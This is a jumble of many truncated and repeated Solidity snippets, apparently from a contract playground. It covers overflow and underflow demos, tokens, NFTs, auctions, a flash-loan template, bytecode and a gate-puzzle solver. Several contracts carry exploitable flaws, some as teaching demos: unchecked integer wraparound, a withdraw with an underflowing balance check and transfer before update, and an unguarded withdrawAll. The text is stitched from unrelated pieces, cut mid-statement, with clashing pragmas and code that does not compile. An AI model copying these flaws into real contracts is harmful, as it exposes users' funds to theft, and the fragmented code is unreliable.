        max += 1;
    }
}

contract Underflow_contract {

    uint public zero = 0;
    // zero will end up at 2**256-1
    function underflow() public {
        zero -=  1;
    }
}

contract OffByOne_contract {
    uint[] public arr = [1, 1

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.0;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

pragma solidity 0.4.18;

// Contract to test unsigned integer underflows and overflows
// note: uint in solidity is an alias for uint256

// 1.Overflow Sample Test
//  1) Overflow_contract Deploy
//  2) max call        -> 2**256-1
//  3) overflow() call -> overflow excute
//  4) max call        -> 0

// 2. Underflow Sample Test
//. 1) Underflow_contract Deploy
//  2) zero call        -> 0
//  3) underflow() call -> overflow excute
//  4) zero call        -> 2**256-1

// 3. OBO Sample Test
//. 1) OffByOne_contract Deploy
//  2) getArr call        -> [1, 1, 1, 1, 1]
//  3) offbyone call -> overflow excute
//  4) getArr call        -> [0, 1, 2, 3, 4]

contract Overflow_contract {
    uint public max = 2**256-1;    
    // max will end up at 0
    function overflow() public {
        max += 1;
    }
}

contract Underflow_contract {

    uint public zero = 0;
    // zero will end up at 2**256-1
    function underflow() public {
        zero -=  1;
    }
}

contract OffByOne_contract {
    uint[] public arr = [1, 1

pragma solidity 0.4.18;

// Contract to test unsigned integer underflows and overflows
// note: uint in solidity is an alias for uint256

// 1.Overflow Sample Test
//  1) Overflow_contract Deploy
//  2) max call        -> 2**256-1
//  3) overflow() call -> overflow excute
//  4) max call        -> 0

// 2. Underflow Sample Test
//. 1) Underflow_contract Deploy
//  2) zero call        -> 0
//  3) underflow() call -> overflow excute
//  4) zero call        -> 2**256-1

contract Overflow_contract {
    uint public max = 2**256-1;    
    // max will end up at 0
    function overflow() public {
        max += 1;
    }
}

contract Underflow_contract {

    uint public zero = 0;
    // zero will end up at 2**256-1
    function underflow() public {
        zero -=  1;
    }
}

contract OffByOne_contract {
    uint[] public arr = [1, 1, 1, 1, 1];

    function getArr() public view returns (uint[] memory) {
        return arr;
    }
    
    function offbyone() public {
        for(uint i = 0;i<arr.length;i++) {      

pragma solidity 0.4.18;

// Contract to test unsigned integer underflows and overflows
// note: uint in solidity is an alias for uint256

// 1.Overflow Sample Test
//  1) Overflow_contract Deploy
//  2) max call        -> 2**256-1
//  3) overflow() call -> overflow excute
//  4) max call        -> 0

// 2. Underflow Sample Test
//. 1) Underflow_contract Deploy
//  2) zero call        -> 0
//  3) underflow() call -> overflow excute
//  4) zero call        -> 2**256-1

contract Overflow_contract {
    uint public max = 2**256-1;    
    // max will end up at 0
    function overflow() public {
        max += 1;
    }
}

contract Underflow_contract {

    uint public zero = 0;
    // zero will end up at 2**256-1
    function underflow() public {
        zero -=  1;
    }
}

        

pragma solidity ^0.7.1;
contract VariableContract {
            //State Variable
            int public myStateVariable = 1;
            
            function getLocalVariable() public pure returns (int) {
            //Local Variable
            int localVariable = 1;
            return localVariable;
            }         

pragma solidity ^0.7.1;
contract VariableContract {
            //State Variable
            int public myStateVariable = 1;
            
            function getLocalVariable() public pure returns (int) {
            //Local Variable
            int localVariable = 1;
            return localVariable;
            }         

pragma solidity ^0.4.18;
contract VariableContract {
            //State Variable
            int public myStateVariable = 1;
            
            function getLocalVariable() public pure returns (int) {
            //Local Variable
            int localVariable = 1;
            return localVariable;
            }         

pragma solidity ^0.4.25;

contract contratoDeVentas {
    address public propietario;
    uint256 public fechaDeActualizacion;
    string public descripcion;
    uint public precio;
    bool public aLaVenta = true;	
	
	string public estadoActual;
    event eventoEstadoActual(string _msg, address user, uint amount, uint256 time);
    
    constructor (string _descripcion, uint _precio) public payable {
        propietario = msg.sender;
		    fechaDeActualizacion = block.timestamp;
        descripcion = _descripcion;
        precio = _precio;
        emit eventoEstadoActual('Artículo a la venta:', msg.sender, msg.value, block.timestamp);
		estadoActual = 'Artículo a la venta.';
    }
    
   function actualizarPrecio(uint _precio) public soloPropietario {
        precio = _precio;
        emit eventoEstadoActual('Precio actualizado', msg.sender, precio, block.timestamp);
		estadoActual = 'Artículo a la venta.';
    }

    function modificarDescripcion (string memory _descripcion) public soloPropietario {
   

//SPDX-License-Identifier: Unlicense
pragma solidity ^0.7.1;

import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Counters.sol";

contract EyeNft is ERC721, Ownable {

    using Strings for uint256;
    using SafeMath for uint256;
    using Counters for Counters.Counter;

    constructor() ERC721("The Learn Collection", "TLC") {
    }

    string public baseExtension = ".json";
    uint256 public cost = 0.1 ether;
    uint256 public maxSupply = 1000;
    uint256 public maxMintAmount = 10;
    bool public saleIsActive = true;
    Counters.Counter private _tokenIds;

    // Low Res Base URI
    string baseURI;

    function _baseURI() internal view virtual override returns (string memory) {
        return baseURI;
    }

    function setBaseURI(string memory _newBaseURI) public onlyOwner {
        baseURI = _newBaseURI;
    }

    function withdraw() public o

pragma solidity 0.7.0;

// Contract to test unsigned integer underflows and overflows
// note: uint in solidity is an alias for uint256

// 1.Overflow Sample Test
//  1) Overflow_contract Deploy
//  2) max call        -> 2**256-1
//  3) overflow() call -> overflow excute
//  4) max call        -> 0

// 2. Underflow Sample Test
//. 1) Underflow_contract Deploy
//  2) zero call        -> 0
//  3) underflow() call -> overflow excute
//  4) zero call        -> 2**256-1

contract Overflow_contract {
    uint public max = 2**256-1;    
    // max will end up at 0
    function overflow() public {
        max += 1;
    }
}

contract Underflow_contract {

    uint public zero = 0;
    // zero will end up at 2**256-1
    function underflow() public {
        zero -=  1%10;
    }
}

contract Simulation {
    
    uint256 public ibToken = 0;
    //유저의 보유 토큰 0개

    function withdraw(uint256 _data) public payable {
        ibToken += _data;
    }
        

pragma solidity >=0.4.22 <0.7.0;

contract SimpleAuction {
    address payable public beneficiary;
    uint public auctionEndTime;

    address public highestBidder;
    uint public highestBid;

    mapping(address => uint) pendingReturns;

    bool ended;

    event HighestBidIncreased(address bidder, uint amount);
    event AuctionEnded(address winner, uint amount);

    constructor(
        uint _biddingTime,
        address payable _beneficiary
    ) public {
        beneficiary = _beneficiary;
        auctionEndTime = now + _biddingTime;
    }

    function bid() public payable {
        require(
            now <= auctionEndTime,
            "Auction already ended."
        );

        require(
            msg.value > highestBid,
            "There already is a higher bid."
        );

        if (highestBid != 0) {
            pendingReturns[highestBidder] += highestBid;
        }
        highestBidder = msg.sender;
        highestBid = msg.value;
        emit HighestBidIncreased(msg.sender, msg.value)

pragma solidity 0.4.18;

contract Arithmetic_Test {
    
    
    function withdraw(uint _amount) {
      require(balances[msg.sender] - _amount > 0);
      msg.sender.transfer(_amount);
      balances[msg.sender] -= _amount; 
    }

pragma solidity 0.4.18;

// Contract to test unsigned integer underflows and overflows
// note: uint in solidity is an alias for uint256

// Guidelines: Press "Create" to the right, then check the values of max and zero by clicking "Call"
// Then, call overflow and underflow and check the values of max and zero again

// Deploy

// 1.Overflow check
//  1) max call        -> 2**256-1
//  2) overflow() call -> overflow excute
//  3) max call        -> 0

// 2. Underflow check
//  1) zero call        -> 0
//  2) underflow() call -> overflow excute
//  3) zero call        -> 2**256-1

contract OverflowUnderFlow {
    uint public zero = 0;
    uint public max = 2**256-1;
    
    // zero will end up at 2**256-1
    function underflow() public {
        zero -= 1;
    }
    // max will end up at 0
    function overflow() public {
        max += 1;
    }

pragma solidity 0.4.18;

// Contract to test unsigned integer underflows and overflows
// note: uint in solidity is an alias for uint256

// Guidelines: Press "Create" to the right, then check the values of max and zero by clicking "Call"
// Then, call overflow and underflow and check the values of max and zero again
// 1.

contract OverflowUnderFlow {
    uint public zero = 0;
    uint public max = 2**256-1;
    
    // zero will end up at 2**256-1
    function underflow() public {
        zero -= 1;
    }
    // max will end up at 0
    function overflow() public {
        max += 1;
    }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;pragma solidity 0.5.16;

interface IBEP20 {
  /**
   * @dev Returns the amount of tokens in existence.
   */
  function totalSupply() external view returns (uint256);

  /**
   * @dev Returns the token decimals.
   */
  function decimals() external view returns (uint8);

  /**
   * @dev Returns the token symbol.
   */
  function symbol() external view returns (string memory);

  /**
  * @dev Returns the token name.
  */
  function name() external view returns (string memory);

  /**
   * @dev Returns the bep token owner.
   */
  function getOwner() external view returns (address);

  /**
   * @dev Returns the amount of tokens owned by `account`.
   */
  function balanceOf(address account) external view returns (uint256);

  /**
   * @dev Moves `amount` tokens from the caller's account to `recipient`.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * Emits a {Tra

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;


library UInt256Extensions {
    bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";

    /**
     * @dev Converts a `uint256` to its ASCII `string` decimal representation.
     */
    function toString(uint256 value) internal pure returns (string memory) {
        // Inspired by OraclizeAPI's implementation - MIT licence
        // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol

        if (value == 0) {
            return "0";
        }
        uint256 temp = value;
        uint256 digits;
        while (temp != 0) {
            digits++;
            temp /= 10;
        }
        bytes memory buffer = new bytes(digits);
        while (value != 0) {
            digits -= 1;
            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
            value /= 10;
        }
        return string(buffer);
    }


    uint32 internal constant day = 86400;
    uint16 internal const

pragma solidity ^0.4.18;
/**
 * @title SafeMath
 * @dev Math operations with safety checks that throw on error
 */
library SafeMath {
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
      return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return c;
  }

  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    // assert(b > 0); // Solidity automatically throws when dividing by 0
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold
    return c;
  }

  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a - b;
  }

  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}

contract OverflowUnderFlowSafe {
    using SafeMath for uint;
    uint public zero = 0;
    uint public max = 2**256-1;
    
    // Will throw
    function underflow() public {
        zero = zer

pragma solidity 0.4.18;

// Contract to test unsigned integer underflows and overflows
// note: uint in solidity is an alias for uint256

// Guidelines: Press "Create" to the right, then check the values of max and zero by clicking "Call"
// Then, call overflow and underflow and check the values of max and zero again

contract OverflowUnderFlow {
    uint public zero = 0;
    uint public max = 2**256-1;
    
    // zero will end up at 2**256-1
    function underflow() public {
        zero -= 1;
    }
    // max will end up at 0
    function overflow() public {
        max += 1;
    }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract VolatilityAmount {
  function _volatililtyAmountToSwap(
        uint256 _maxAmount,
        uint256 _leverageBalance,
        uint256 _iLeverageBalance,
        uint256 _fee
    ) private pure returns (uint256 swapAmount) {
        uint256 B = (_leverageBalance + _mul(_iLeverageBalance, (BONE - _fee)) - _mul(_maxAmount, (BONE - _fee)));
        uint256 numerator = ABDKMathQuad.toUInt(
            ABDKMathQuad.sqrt(
                ABDKMathQuad.fromUInt(
                    (B * B) + 4 * (BONE - _fee) * _iLeverageBalance * _maxAmount
                )
            )
        ) - B;
        swapAmount = numerator / (2 * (BONE - _fee));
    }

    function getSwappedAssetAmount(
        address _tokenIn,
        uint256 _maxAmountIn,
        IVolmexPool _pool
    )
        external
        view
        returns (
            uint256 swapAmount,
            uint256 amountOut,
            uint256 

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {

  struct LockedBalance {
    uint32 expiration;
    uint96 totalAmount;
  }
  /// @dev Tracks an account's info.
  struct AccountInfo {
    /// @dev The amount of ETH which has been unlocked already.
    uint128 freedBalance;
    /// @dev The first applicable lockup bucket for this account.
    uint128 lockupStartIndex;
    /// @dev Stores up to 25 buckets of locked balance for a user, one per hour.
    mapping(uint256 => uint256) lockups;
    /// @dev Returns the amount which a spender is still allowed to withdraw from this account.
    mapping(address => uint256) allowance;
  }

    /// @dev Stores per-account details.
  mapping(uint256 => AccountInfo) private accountToInfo;

  function set(uint256 key, uint256 lockupStartIndex, uint32 expiration,
    uint96 totalAmount) public {
    setLockedBalance(accountToInfo[key], lockupStartIndex, expiration, totalAmount);
  }

  fu

state= {}
activate-form = (store)->
export wait-form-result = (id, cb)->
    activate-form!
    state[id] = cb
export notify-form-result = (id, err, data)->
    return if typeof! state[id] isnt \Function
    state[id] err, data
    delete state[id

pragma solidity ^0.4.26;

contract ERC20 {

    bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    mapping(address => uint256) private _permitNonces;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    bytes32 public DOMAIN_SEPARATOR;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    constructor(string memory name_, string memory symbol_) public {
        _name = name_;
        _symbol = symbol_;
        DOMAIN_SEPARATOR = makeDomainSeparator(name_, "1", 1);
    }

    function decimals() public pure returns (uint8) {
        return 18;
    }
    
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    func

pragma solidity ^0.4.26;

contract ERC20 {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    constructor(string memory name_, string memory symbol_) public {
        _name = name_;
        _symbol = symbol_;
    }

    function decimals() public pure returns (uint8) {
        return 18;
    }
    
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][s

pragma solidity ^0.4.25;

contract ERC20 {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    constructor(string memory name_, string memory symbol_) public {
        _name = name_;
        _symbol = symbol_;
    }

    function decimals() public pure returns (uint8) {
        return 18;
    }
    
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][s

contract ERC20 {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _app

608060405234801561001057600080fd5b50600436106102065760003560e01c806383b5ff8b1161011a578063a07aea1c116100ad578063d365a3771161007c578063d365a3771461042c578063d67eb0b51461043f578063e28d490614610452578063f38b2db514610465578063f851a4401461047857610206565b8063a07aea1c146103dd578063ae500b7c146103f0578063b78275c914610411578063d10c7d1e1461041957610206565b806392ba8114116100e957806392ba81141461038e57806396b5a755146103af5780639a202d47146103c25780639a307391146103ca57610206565b806383b5ff8b146103585780638456cb591461036057806389476069146103685780638f2839701461037b57610206565b806344f91c1e1161019d5780637362377b1161016c5780637362377b146102f757806375640815146102ff578063757de5731461031257806377ae0b83146103255780637a4316621461033857610206565b806344f91c1e146102a957806345496ed9146102c95780634d51bfc4146102dc5780635c975abb146102ef57610206565b80633bd63ba2116101d95780633bd63ba2146102665780633f0a0797146102795780633f4ba83a1461028e57806344e290b21461029657610206565b80630622a3881461020b5780630b83021814610229578063158ef93e1461023e57806330ffb6

pragma solidity ^0.7.0;

contract MyShop {
    address public owner;
    mapping (address => uint) public payments;

    constructor() {
       owner = msg.sender;
    }

    function payForItem() public payable {
        payments[msg.sender] = msg.value;
    }

    function withdrawAll() public {
        address payable _to = payable(owner);
        address  _thisContract = address (this);
        _to.transfer(_thisContract.balance);
    }
}

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract MyShop {
    address public owner;
    mapping (address => uint) public payments;

    constructor() {
       owner = msg.sender;
    }

    function payForItem() public payable {
        payments[msg.sender] = msg.value;
    }

    function withdrawAll() public {
        address payable _to = payable(owner);
        address  _thisContract = address (this);
        _to.transfer(_thisContract.balance);
    }
}

modifier onlyOwner() {
    if (msg.sender != owner) throw;
    _;

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

contract Sample {
  Collection[] public collections;

  struct Collection {
    string name;
    Property[] properties;
    uint createdTime;
  }

  struct Property {
    string name;
    uint createdTime;
  }

  function collectionAdd(string memory _name) public {
    collections.push(Collection(_name, new Property[](0), block.timestamp));
  }

  function collectionRemove(uint _collectionID) public {
    delete collections[_collectionID];
  }

  function propertyAdd(uint _collectionID, string memory _name) public {
    collections[_collectionID].properties.push(Property(_name, block.timestamp));
  }

  function propertyRemove(uint _collectionID, uint _propertyID) public {
    delete collections[_collectionID].properties[_propertyID];
  }
}

pragma solidity ^0.5.0;

contract DecisionMaking {

    struct opinion{
        address decisionMakerAddress;
        uint choice;
    }
    
    struct decisionMaker{
        string name;
        bool voted;
    }

    uint private opinionResult = 0;
    uint public finalResult = 0;
    uint public totalDMs = 0;
    uint public totalVotes = 0;
    address public proposerOfficialAddress;      
    string public proposerOfficialName;
    string public proposal;
    
    mapping(uint => opinion) private opinions;
    mapping(address => decisionMaker) public decisionMakerRegister;
    
    enum State { Created, Voting, Ended }
	State public state;
	
	constructor(
        string memory _proposerOfficialName,
        string memory _proposal) public {
        proposerOfficialAddress = msg.sender;
        proposerOfficialName = _proposerOfficialName;
        proposal = _proposal;
        
        state = State.Created;
    }
    

	modifier condition(bool _condition) {
		require(_condition);
		_;
	}

	modifier onlyO

//SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

contract BurgerTest {
//Variables
    uint256 public burgerCost = 5 ether;
    uint256 public specialBurgerCost = 8 ether;
    event BoughtBurger(address indexed _from, uint256 cost);
    address owner;
    mapping(address => uint256) userRefund;
    bool paused;
//Constructor
    constructor(){
    owner = msg.sender;
    }

//State Machine
    enum Stages {
        readyToOrder,
        makingOrder,
        readyToDeliver 
    }

    Stages public actualState = Stages.readyToOrder;

//Modifiers
    modifier ShouldPay(){
        require(msg.value == burgerCost || msg.value == specialBurgerCost, "You're trying to fk me?");
        _;
    
    }

    modifier requiredState(Stages _stage){
        require(actualState == _stage, "Doing what you want?");
        _;
        }

    modifier onlyOwner(){
        require(msg.sender == owner, "Hey hey where you going mf");
        _;
    }

    modifier emergencyButton(){
        require(paused == false);
      

pragma solidity ^0.6.6;

import "https://github.com/aave/flashloan-box/blob/Remix/contracts/aave/FlashLoanReceiverBase.sol";
import "https://github.com/aave/flashloan-box/blob/Remix/contracts/aave/ILendingPoolAddressesProvider.sol";
import "https://github.com/aave/flashloan-box/blob/Remix/contracts/aave/ILendingPool.sol";

contract Flashloan is FlashLoanReceiverBase {
    constructor(address _addressProvider) FlashLoanReceiverBase(_addressProvider) public {}

    /**
        This function is called after your contract has received the flash loaned amount
    */
    function executeOperation(
        address _reserve,
        uint256 _amount,
        uint256 _fee,
        bytes calldata _params
    )
        external
        override
    {
        require(_amount <= getBalanceInternal(address(this), _reserve), "Invalid balance, was the flashLoan successful?");

        //
        // Your logic goes here.
        // !! Ensure that *this contract* has enough of `_reserve` funds to payback the `_fee` !!
        /

// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.8.0

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
      function addressFrom(address _origin, uint _nonce) public pure returns (address) {
        if(_nonce == 0x00)     return address(keccak256(byte(0xd6), byte(0x94), _origin, byte(0x80)));
        if(_nonce <= 0x7f)     return address(keccak256(byte(0xd6), byte(0x94), _origin, byte(_nonce)));
        if(_nonce <= 0xff)     return address(keccak256(byte(0xd7), byte(0x94), _origin, byte(0x81), uint8(_nonce)));
        if(_nonce <= 0xffff)   return address(keccak256(byte(0xd8), byte(0x94), _origin, byte(0x82), uint16(_nonce)));
        if(_nonce <= 0xffffff) return address(keccak256(byte(0xd9), byte(0x94), _origin, byte(0x83), uint24(_nonce)));
        return address(keccak256(byte(0xda), byte(0x94), _origin, byte(0x84), uint32(_nonce))); // more than 2^32 nonces not realistic
    }

// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.8.0

/**
 *Submitted for verification at Etherscan.io on 2019-04-05
 */

pragma solidity ^0.4.24;

/**
 *
 *      ***    **     ** ********  *******   ******   **     **    ** ********  **     **  ******
 *     ** **   **     **    **    **     ** **    **  **      **  **  **     ** **     ** **    **
 *    **   **  **     **    **    **     ** **        **       ****   **     ** **     ** **
 *   **     ** **     **    **    **     ** **   **** **        **    ********  *********  ******
 *   ********* **     **    **    **     ** **    **  **        **    **        **     **       **
 *   **     ** **     **    **    **     ** **    **  **        **    **        **     ** **    **
 *   **     **  *******     **     *******   ******   ********  **    **        **     **  ******
 *
 *
 *                                                                by Matt Hall and John Watkinson
 *
 *
 * The output of the 'tokenURI' function is a set of instructions to make a drawing.
 * Each symbol in the output corresponds to 

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;

import "@openzeppelin/[email protected]/token/ERC721/ERC721.sol";
import "@openzeppelin/[email protected]/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/[email protected]/access/Ownable.sol";
import "@openzeppelin/[email protected]/utils/Counters.sol";

contract LUCKYTEST is ERC721, ERC721Enumerable, Ownable {
    using Counters for Counters.Counter;

    Counters.Counter private _tokenIdCounter;
    uint256 public mintRate = 0.1 ether; 
    uint public MAX_SUPPLY = 2555; 

    constructor() ERC721("LUCKYTEST", "LTEST") {}

    function _baseURI() internal pure override returns (string memory) {
        return "https://gateway.pinata.cloud/ipfs/QmPHGo76xFjZV1FSf5fBqhkp9bj7D8eDfP3ne4AJY8URXR/";
    }

    function safeMint(address to) public payable {
        require(totalSupply() < MAX_SUPPLY, "Can't mint more" );
        require(msg.value >= mintRate, "Not enought ether sent." ); 
        uint256 tokenId = _tokenIdCounter.current();
     

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract TestGas {
    string constant statictext = "Hello World";
    bytes11 constant byteText11 = "Hello World";
    bytes32 constant byteText32 = "Hello World";
    bytes constant _bytes = "Hello World";

    function  getString() payable public  returns(string){
        return statictext;
    }

    function  getByte11() payable public returns(bytes11){
        return byteText11;
    }

    function  getByte32() payable public returns(bytes32){
        return byteText32;
    }

    function getBytes() payable public returns(bytes) {
        return _bytes;
    }

pragma solidity ^0.4.17;
contract Auction {
    
    // Data
    //Structure to hold details of the item
    struct Item {
        uint itemId; // id of the item
        uint[] itemTokens;  //tokens bid in favor of the item
       
    }
    
   //Structure to hold the details of a persons
    struct Person {
        uint remainingTokens; // tokens remaining with bidder
        uint personId; // it serves as tokenId as well
        address addr;//address of the bidder
    }
 
    mapping(address => Person) tokenDetails; //address to person 
    Person [4] bidders;//Array containing 4 person objects
    
    Item [3] public items;//Array containing 3 item objects
    address[3] public winners;//Array for address of winners
    address public beneficiary;//owner of the smart contract
    
    uint bidderCount=0;//counter
    
    //functions

    function Auction() public payable{    //constructor
                
        //Part 1 Task 1. Initialize beneficiary with address of smart contract’s owner
        /

// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.4.16 <0.9.0;

contract SimpleStorage {
    uint storedData;

    function set(uint x) public {
        storedData = x;
    }

    function get() public view returns (uint) {
        return storedData;
    }

// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.4.16 <0.9.0;

contract SimpleStorage {
    uint storedData;

    function set(uint x) public {
        storedData = x;
    }

    function get() public view returns (uint) {
        return storedData;
    }

// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.4.16 <0.9.0;

contract SimpleStorage {
    uint storedData;

    function set(uint x) public {
        storedData = x;
    }

    function get() public view returns (uint) {
        return storedData;
    }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract FirstContract {
uint var1;
function set(uint x) public {
var1 = x;
}
function get() public view returns (uint) {
return var1;
}

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract SimpleStore {
    function mergeArrays(uint256[] memory a, uint256[] memory b)
        internal
        pure
        returns (uint256[] memory result, uint256 resultLength)
    {
        (uint256 aI, uint256 bI, uint256 cI) = (0, 0, 0);
        uint256[] memory c = new uint256[](a.length + b.length);

        while (true) {
            if (aI == a.length && bI == b.length) {
                break;
            } else if (aI < a.length && bI < b.length && a[aI] == b[bI]) {
                c[cI] = a[aI];
                (aI++, bI++, cI++);
            } else if (aI < a.length && (bI == b.length || a[aI] < b[bI])) {
                c[cI] = a[aI];
                (aI++, cI++);
            } else if (bI < b.length && (aI == a.length || a[aI] > b[bI])) {
                c[cI] = b[bI];
                (bI++, cI++);
            }
        }

        return (c, cI);
    }

pragma solidity ^0.4.18;

contract bankAccount {  
    address owner; // current owner of the contract


    
      function Amount() public {
        owner = msg.sender;
    }

    function withdraw() public {
        require(owner == msg.sender);
        msg.sender.transfer(address(this).balance);
       
    }

    function deposit(uint256 amount) public payable {
        require(msg.value == amount);
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
    
    

pragma solidity 0.8.0;


contract Game {

    uint128 private score;
    bool private isFinished;
    
    uint128 private hscore;

    struct Player { 
        address player;
        uint128 score;
    }

    Player[] public players;

    function play(address _p) public returns(uint128){
        for(uint8 i = 0; i < players.length; ++i) {
            Player memory p = players[i]; 
            if(p.player == _p) {
                p.score = p.score + 1; 
                if (p.score > hscore) {
                    hscore = p.score;
                }
            }
        }
        return hscore;
    }

    function getPlayer(uint256 index) internal view returns(Player memory pl) {
        pl = players[index];
    }

    function endGame() payable public {
        require(msg.value > hscore);
        address payable receiver = payable(address(msg.sender));
        (bool success,) = receiver.call{value: msg.value}("");
        require(success);
        hscore = 2**128 - 1;
    }

}


contract AccessControl {

 

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract SimpleStore {
  function set() public {
    value = 123;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
}

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
contract SimpleStoreA is SimpleStore {
  function set() public {
    value = 123;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {

  function getJ() public pure returns (uint) {

        uint d = 3548;
        uint e = 5;
        uint i = (d % 100) - d / 100;
        return (i-e) / 4;
}
function getA() public pure  returns (uint){
      uint d = 3548;
      uint i = (d % 100) - d / 100;
      uint j = getJ();
      
      return ((d % 100) + i + j) * 100 + (d % 100) + i + j + i + 2 * j;
    }

function getO() public pure returns (uint){
      uint p;
      uint q;
      uint r;
      for (uint s; s <= 5; ++s) {
        p = q;
        q = r != 8 / 8 - 1 ? r : 1;
        r = p + q;
      }
      uint t = r;
      uint[8] memory u;
      for (uint v; v < 4; ++v) {
        if (v < 3) u[v + 1] = u[v] + (v == 0 ? 3 : v == 1 ? 5 : 2);
        u[4 + v] = 2 * u[v];
      }
      return t * 100 + u[7];
    }

    function getW() public pure returns (uint){
      uint w;
      uint x = 339601788621518626375400;
  

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }


 function attemptGate09() external {
    uint a;
    {
      uint b = 38;
      uint c = 1524;
      uint d = 3548;
      uint e = 5;
      uint f = c / 100 - (b % 10);
      uint g = (c % 100) - c / 100;
      uint h = d / 100 - (c % 100);
      uint i = (d % 100) - d / 100;
      uint j;
      {
        uint k = i - h;
        uint l = h - g;
        uint m = g - f;
        uint n = f - e;
        j = (i-e) / 4;
      }
      a = ((d % 100) + i + j) * 100 + (d % 100) + i + j + i + 2 * j;
    }
    uint o;
    {
      uint p;
      uint q;
      uint r;
      for (uint s; s <= 5; ++s) {
        p = q;
        q = r != 8 / 8 - 1 ? r : 1;
        r = p + q;
      }
      uint t = r;
      uint[8] memory u;
      for (uint v; v < 4; ++v) {
    

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;

contract Playground {

  function compare(string _s1, string _s2) 
            pure
            public
            returns(bool) {
              bytes memory b1 = bytes(_s1);
              bytes memory b2 = bytes(_s2);
              if (b1.length != b2.length) {
                return false;
              }
              return keccak256(b1) == keccak256(b2);
  }

  function concat(string _s1, string _s2) 
            pure 
            public 
            returns(string) {
              return string(abi.encodePacked(bytes(_s1), bytes(_s2)));
  }

